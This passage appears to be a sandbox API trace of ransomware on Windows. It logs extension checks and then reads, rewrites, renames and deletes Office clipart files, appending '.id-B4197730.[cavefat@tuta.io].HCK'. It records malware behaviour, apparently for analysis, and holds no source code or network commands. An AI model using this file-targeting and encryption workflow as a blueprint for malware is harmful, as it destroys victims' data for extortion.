(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.123] lstrlenW (lpString=".doc") returned 4 [0158.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString=".docx") returned 5 [0158.123] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.123] lstrlenW (lpString=".pdf") returned 4 [0158.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString=".xls") returned 4 [0158.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.123] lstrlenW (lpString=".xlsx") returned 5 [0158.123] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.123] lstrlenW (lpString=".ppt") returned 4 [0158.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.123] lstrlenW (lpString=".zip") returned 4 [0158.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.123] lstrlenW (lpString=".rar") returned 4 [0158.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString=".bz2") returned 4 [0158.123] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString=".7z") returned 3 [0158.123] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.123] lstrlenW (lpString=".dbf") returned 4 [0158.123] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.123] lstrlenW (lpString=".1cd") returned 4 [0158.123] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01151_.WMF") returned 68 [0158.124] lstrlenW (lpString=".jpg") returned 4 [0158.124] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.124] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.124] lstrlenW (lpString="DD01182_.WMF") returned 12 [0158.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.124] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2996) returned 1 [0158.124] CloseHandle (hObject=0x2ec) returned 1 [0158.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220 [0158.124] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.124] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.124] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.125] GetLastError () returned 0x0 [0158.125] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xbb4, lpOverlapped=0x0) returned 1 [0158.126] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xbc0, lpOverlapped=0x0) returned 1 [0158.127] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.127] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.127] SetEndOfFile (hFile=0x38c) returned 1 [0158.127] CloseHandle (hObject=0x38c) returned 1 [0158.128] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.128] SetEndOfFile (hFile=0x2ec) returned 1 [0158.128] CloseHandle (hObject=0x2ec) returned 1 [0158.128] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0158.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.129] lstrlenW (lpString=".doc") returned 4 [0158.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.129] lstrlenW (lpString=".docx") returned 5 [0158.129] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.129] lstrlenW (lpString=".pdf") returned 4 [0158.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.129] lstrlenW (lpString=".xls") returned 4 [0158.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.129] lstrlenW (lpString=".xlsx") returned 5 [0158.129] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.129] lstrlenW (lpString=".ppt") returned 4 [0158.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.129] lstrlenW (lpString=".zip") returned 4 [0158.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.129] lstrlenW (lpString=".rar") returned 4 [0158.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.129] lstrlenW (lpString=".bz2") returned 4 [0158.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.129] lstrlenW (lpString=".7z") returned 3 [0158.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.129] lstrlenW (lpString=".dbf") returned 4 [0158.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.129] lstrlenW (lpString=".1cd") returned 4 [0158.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.129] lstrlenW (lpString=".jpg") returned 4 [0158.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.130] lstrlenW (lpString=".doc") returned 4 [0158.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.130] lstrlenW (lpString=".docx") returned 5 [0158.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.130] lstrlenW (lpString=".pdf") returned 4 [0158.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.130] lstrlenW (lpString=".xls") returned 4 [0158.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.130] lstrlenW (lpString=".xlsx") returned 5 [0158.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.130] lstrlenW (lpString=".ppt") returned 4 [0158.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.130] lstrlenW (lpString=".zip") returned 4 [0158.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.130] lstrlenW (lpString=".rar") returned 4 [0158.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.130] lstrlenW (lpString=".bz2") returned 4 [0158.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.130] lstrlenW (lpString=".7z") returned 3 [0158.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.130] lstrlenW (lpString=".dbf") returned 4 [0158.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.130] lstrlenW (lpString=".1cd") returned 4 [0158.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0158.130] lstrlenW (lpString=".jpg") returned 4 [0158.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.130] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.130] lstrlenW (lpString="DD01183_.WMF") returned 12 [0158.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.130] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=2296) returned 1 [0158.130] CloseHandle (hObject=0x2ec) returned 1 [0158.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 0x220 [0158.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.131] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.131] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.131] GetLastError () returned 0x0 [0158.131] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x8f8, lpOverlapped=0x0) returned 1 [0158.132] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x900, lpOverlapped=0x0) returned 1 [0158.133] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.133] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.133] SetEndOfFile (hFile=0x38c) returned 1 [0158.133] CloseHandle (hObject=0x38c) returned 1 [0158.134] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.134] SetEndOfFile (hFile=0x2ec) returned 1 [0158.135] CloseHandle (hObject=0x2ec) returned 1 [0158.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.136] lstrlenW (lpString=".doc") returned 4 [0158.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.136] lstrlenW (lpString=".docx") returned 5 [0158.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.136] lstrlenW (lpString=".pdf") returned 4 [0158.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.136] lstrlenW (lpString=".xls") returned 4 [0158.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.136] lstrlenW (lpString=".xlsx") returned 5 [0158.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.136] lstrlenW (lpString=".ppt") returned 4 [0158.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.136] lstrlenW (lpString=".zip") returned 4 [0158.136] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.136] lstrlenW (lpString=".rar") returned 4 [0158.136] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.136] lstrlenW (lpString=".bz2") returned 4 [0158.136] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.136] lstrlenW (lpString=".7z") returned 3 [0158.136] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.136] lstrlenW (lpString=".dbf") returned 4 [0158.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.136] lstrlenW (lpString=".1cd") returned 4 [0158.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.136] lstrlenW (lpString=".jpg") returned 4 [0158.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.136] lstrlenW (lpString=".doc") returned 4 [0158.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.136] lstrlenW (lpString=".docx") returned 5 [0158.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.136] lstrlenW (lpString=".pdf") returned 4 [0158.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.136] lstrlenW (lpString=".xls") returned 4 [0158.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.136] lstrlenW (lpString=".xlsx") returned 5 [0158.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.136] lstrlenW (lpString=".ppt") returned 4 [0158.137] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.137] lstrlenW (lpString=".zip") returned 4 [0158.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.137] lstrlenW (lpString=".rar") returned 4 [0158.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.137] lstrlenW (lpString=".bz2") returned 4 [0158.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.137] lstrlenW (lpString=".7z") returned 3 [0158.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.137] lstrlenW (lpString=".dbf") returned 4 [0158.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.137] lstrlenW (lpString=".1cd") returned 4 [0158.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0158.137] lstrlenW (lpString=".jpg") returned 4 [0158.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.137] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.137] lstrlenW (lpString="DD01186_.WMF") returned 12 [0158.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.137] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=8564) returned 1 [0158.137] CloseHandle (hObject=0x2ec) returned 1 [0158.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x220 [0158.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0158.138] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.138] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.138] GetLastError () returned 0x0 [0158.138] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2174, lpOverlapped=0x0) returned 1 [0158.139] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2180, lpOverlapped=0x0) returned 1 [0158.140] ReadFile (in: hFile=0x2ec, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0158.140] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0158.140] SetEndOfFile (hFile=0x38c) returned 1 [0158.140] CloseHandle (hObject=0x38c) returned 1 [0158.141] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0158.141] SetEndOfFile (hFile=0x2ec) returned 1 [0158.142] CloseHandle (hObject=0x2ec) returned 1 [0158.142] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0158.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.143] lstrlenW (lpString=".doc") returned 4 [0158.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.143] lstrlenW (lpString=".docx") returned 5 [0158.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.143] lstrlenW (lpString=".pdf") returned 4 [0158.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.143] lstrlenW (lpString=".xls") returned 4 [0158.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.143] lstrlenW (lpString=".xlsx") returned 5 [0158.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.143] lstrlenW (lpString=".ppt") returned 4 [0158.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.143] lstrlenW (lpString=".zip") returned 4 [0158.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.143] lstrlenW (lpString=".rar") returned 4 [0158.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.143] lstrlenW (lpString=".bz2") returned 4 [0158.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.143] lstrlenW (lpString=".7z") returned 3 [0158.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.143] lstrlenW (lpString=".dbf") returned 4 [0158.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.143] lstrlenW (lpString=".1cd") returned 4 [0158.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.143] lstrlenW (lpString=".jpg") returned 4 [0158.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0158.143] lstrlenW (lpString=".doc") returned 4 [0158.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.143] lstrlenW (lpString=".docx") returned 5 [0158.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.143] lstrlenW (lpString=".pdf") returned 4 